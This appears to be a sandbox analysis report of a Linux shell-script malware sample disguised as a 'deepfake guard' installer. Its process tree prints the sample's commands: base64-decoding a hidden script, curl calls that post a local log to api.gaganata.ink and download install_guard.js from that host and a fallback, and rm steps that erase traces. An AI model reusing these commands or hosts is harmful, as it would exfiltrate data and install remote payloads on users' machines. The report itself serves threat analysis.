4da6c03f57849fd3d595928d3ad5a0793362b122f491e6389033595eb5561f56

Analysis

max time kernel
149s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/08/2026, 16:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
check_m
Size 40KB
Sample260802-tkp82astcy
SHA256 4da6c03f57849fd3d595928d3ad5a0793362b122f491e6389033595eb5561f56
MD5 e45c686cd64b178f45af0ec8335a3ccc
SHA1 071f77d888b2aea87404494c0b3d57a58365b0d2
SHA512 c1e1d1464e5b065aa3788108befe97c419db1d894258f10350763f0d1fc31546e5bbe2248f5c9acc02d5f03c1a51555dead1c6900879ea5b9021dbd3d40f5f99
SSDEEP 384:5qyup4RdmnlgIxYqtcmFpdQs/n+nSgZfPep7Z2SbZky6zlBf52+6uBY72c:5qyu9lddrwnSghpvYuBYqc
TLSH
T1D703C37E99B5D878822D581459DD3BC402CE27BEE4A206CA72F6378D963D0AC50C73B7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
732	base64
733	base64

Checks CPU configuration 1 TTPs 37 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.Ueluog	bash

/tmp/check_m
/tmp/check_m
1⤵
PID:643
- /bin/rm
  rm -f /var/tmp/deepfake_guard.launcher.status
  2⤵
  PID:652
- /bin/sleep
  sleep 1
  2⤵
  PID:657
- /usr/bin/nohup
  nohup bash /tmp/check_m
  2⤵
  PID:655
- /usr/local/sbin/bash
  bash /tmp/check_m
  2⤵
  PID:655
- /usr/local/bin/bash
  bash /tmp/check_m
  2⤵
  PID:655
- /usr/sbin/bash
  bash /tmp/check_m
  2⤵
  PID:655
- /usr/bin/bash
  bash /tmp/check_m
  2⤵
  PID:655
- /sbin/bash
  bash /tmp/check_m
  2⤵
  PID:655
- /bin/bash
  bash /tmp/check_m
  2⤵
  PID:655
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:668
- - /bin/uname
    uname -s
    3⤵
    PID:672
- - /bin/grep
    grep -qi ubuntu /etc/os-release
    3⤵
    PID:674
- - /usr/bin/curl
    curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: linux" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://api.gaganata.ink/guard-install-log
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:675
- - /bin/mktemp
    mktemp /var/tmp/.kdm.XXXXXX
    3⤵
    PID:729
- - /usr/bin/base64
    base64 -D
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:732
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:733
- - /bin/chmod
    chmod 700 /var/tmp/.kdm.UhqD3p
    3⤵
    PID:734
- - /bin/bash
    bash /var/tmp/.kdm.UhqD3p
    3⤵
    - Writes file to tmp directory
    PID:736
  - - /bin/date
      date "+%Y-%m-%d %H:%M:%S"
      4⤵
      PID:738
  - - /bin/mkdir
      mkdir -p /var/tmp/deepfake_guard_work
      4⤵
      Reads runtime system information
      PID:739
  - - /bin/cat
      cat
      4⤵
      PID:740
  - - /bin/chmod
      chmod +x /var/tmp/deepfake_guard_run.sh
      4⤵
      File and Directory Permissions Modification
      PID:741
- - /bin/rm
    rm -f /var/tmp/.kdm.UhqD3p
    3⤵
    PID:744
- - /bin/rm
    rm -f /var/tmp/upd_m /var/tmp/upd_w /tmp/upd_m /tmp/upd_w /tmp/check_m
    3⤵
    PID:745
- - /bin/rm
    rm -f "/var/tmp/.kdm.*" /var/tmp/deepfake_guard.launcher.status
    3⤵
    PID:746
- /bin/sleep
  sleep 1
  2⤵
  PID:682
- /bin/sleep
  sleep 1
  2⤵
  PID:691
- /bin/sleep
  sleep 1
  2⤵
  PID:712
- /bin/sleep
  sleep 1
  2⤵
  PID:737
- /bin/uname
  uname -s
  2⤵
  PID:753
- /bin/grep
  grep -qi ubuntu /etc/os-release
  2⤵
  PID:754
- /usr/bin/curl
  curl -sk -X POST -H "Content-Type: application/json" -H "X-Guard-Platform: linux" -d "{\"ok\":true,\"upload\":false,\"exitCode\":0,\"message\":\"payload_ready\",\"platform\":\"linux\"}" --connect-timeout 15 --max-time 30 --retry 2 --retry-delay 2 https://api.gaganata.ink/guard-launcher-result
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:756

/usr/bin/nohup
nohup bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:742

/usr/local/sbin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:742

/usr/local/bin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:742

/usr/sbin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:742

/usr/bin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:742

/sbin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:742

/bin/bash
bash /var/tmp/deepfake_guard_run.sh
1⤵
PID:742
- /bin/mkdir
  mkdir /var/tmp/deepfake_guard.lock.d
  2⤵
  - Reads runtime system information
  PID:747
- /bin/mkdir
  mkdir -p /var/tmp/deepfake_guard_work
  2⤵
  - Reads runtime system information
  PID:748
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:749
- /bin/sleep
  sleep 0.5
  2⤵
  PID:750
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:755
- /bin/uname
  uname -s
  2⤵
  PID:759
- /bin/grep
  grep -qi ubuntu /etc/os-release
  2⤵
  PID:760
- /usr/bin/curl
  curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: linux" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://api.gaganata.ink/guard-install-log
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:761
- /bin/sleep
  sleep 60
  2⤵
  PID:764
- /bin/mkdir
  mkdir -p /var/tmp/deepfake_guard_work
  2⤵
  - Reads runtime system information
  PID:765
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:766
- /bin/uname
  uname -s
  2⤵
  PID:770
- /bin/uname
  uname -m
  2⤵
  PID:774
- /bin/uname
  uname -s
  2⤵
  PID:778
- /usr/bin/node
  /usr/bin/node -v
  2⤵
  PID:780
- /usr/bin/node
  /usr/bin/node -v
  2⤵
  PID:797
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:803
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:805
- /usr/bin/curl
  curl -kfsSI --connect-timeout 10 --max-time 30 https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:807
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:814
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:815
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:817
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:818
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:819
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:821
- /bin/sleep
  sleep 2
  2⤵
  PID:822
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:826
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:827
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:828
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:830
- /bin/sleep
  sleep 3
  2⤵
  PID:831
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:833
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:834
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:835
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:837
- /bin/sleep
  sleep 4
  2⤵
  PID:838
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:840
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:841
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:842
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:844
- /bin/sleep
  sleep 5
  2⤵
  PID:845
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:849
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:850
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:851
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:853
- /bin/sleep
  sleep 6
  2⤵
  PID:854
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:856
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:857
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:858
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:863
- /bin/sleep
  sleep 7
  2⤵
  PID:864
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:869
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:870
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:871
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:873
- /bin/sleep
  sleep 8
  2⤵
  PID:874
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:878
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:879
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:880
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:882
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:883
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:884
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:885
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:886
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:888
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:889
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:890
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:892
- /bin/sleep
  sleep 2
  2⤵
  PID:893
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:895
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:896
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:897
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:899
- /bin/sleep
  sleep 3
  2⤵
  PID:900
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:903
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:904
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:905
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:908
- /bin/sleep
  sleep 4
  2⤵
  PID:909
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:911
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:912
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:913
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:915
- /bin/sleep
  sleep 5
  2⤵
  PID:916
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:918
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:919
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:920
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:922
- /bin/sleep
  sleep 6
  2⤵
  PID:923
- /bin/sleep
  sleep 0.5
  2⤵
  PID:926
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:928
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:929
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:930
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:932
- /bin/sleep
  sleep 7
  2⤵
  PID:933
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:934
- /bin/uname
  uname -s
  2⤵
  PID:937
- /bin/grep
  grep -qi ubuntu /etc/os-release
  2⤵
  PID:938
- /usr/bin/curl
  curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: linux" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://api.gaganata.ink/guard-install-log
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:939
- /bin/sleep
  sleep 60
  2⤵
  PID:940
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:944
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:945
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:946
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:948
- /bin/sleep
  sleep 8
  2⤵
  PID:949
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:953
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:954
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:955
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:957
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:958
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:959
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:960
- /bin/sleep
  sleep 2
  2⤵
  PID:961
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:962
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:964
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:965
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:966
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:968
- /bin/sleep
  sleep 2
  2⤵
  PID:969
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:971
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:972
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:973
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:975
- /bin/sleep
  sleep 3
  2⤵
  PID:976
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:978
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:979
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:980
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:982
- /bin/sleep
  sleep 4
  2⤵
  PID:983
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:987
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:988
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:989
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:991
- /bin/sleep
  sleep 5
  2⤵
  PID:992
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:994
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:995
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:996
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:998
- /bin/sleep
  sleep 6
  2⤵
  PID:999
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1003
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1004
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  PID:1005
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1007
- /bin/sleep
  sleep 7
  2⤵
  PID:1008
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1011
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1012
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1013
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1015
- /bin/sleep
  sleep 8
  2⤵
  PID:1016
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1019
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1020
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.gaganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1021
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1023
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1024
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1025
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1026
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1027
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1029
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1030
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
